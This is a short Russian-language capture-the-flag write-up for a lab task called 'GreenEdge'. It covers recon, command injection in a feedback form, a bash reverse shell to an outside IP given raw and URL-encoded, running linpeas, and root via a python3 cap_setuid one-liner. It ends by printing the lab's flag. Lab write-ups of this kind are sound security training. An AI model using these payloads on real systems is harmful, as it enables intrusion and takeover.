День 18. Таск "GreenEdge"

GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.

1)Разведка

-NMAP-

22 и 80

-DIRSEARCH-

2)Анализ страничек - feedback.php

3)Атака

;bash -c 'bash -i >& /dev/tcp/192.168.124.237/4446 0>&1';

декодируем в url

feedback=id;bash+-c+'bash+-i+>%26+/dev/tcp/192.168.124.237/4446+0>%261'%3b

Перехоэу в tmp и вижу что ребятки тут уже старались

Но мы же делаем все правильно - так что качаем lenpeeas

www-data@85e0a64f451a:/var/www/html$ cd /tmp
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Что нашли вкусного?

Python с cap_setuid - /usr/bin/python3.10 cap_setuid=ep

Можно получить root: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

SUID бинарники - несколько стандартных, но python самый опасный
Docker контейнер - есть возможности для escape

Доступны: nsenter, unshare, chroot
Монтированы хостовые файлы

Процесс с cap_setuid - PID 12529 уже имеет эту capability
Writable файлы - можно писать в веб-директории и /tmp

Значит пробуем

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Получаем ROOT!

Серчим папку /root и находим 2 часть флага + смотрим все домашнии учетки - и находим Чарли - ну а там уже 1 часть флага - складываем и готово.

CODEBY{FR0M_F33DB4CK_70_R007_1337}

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!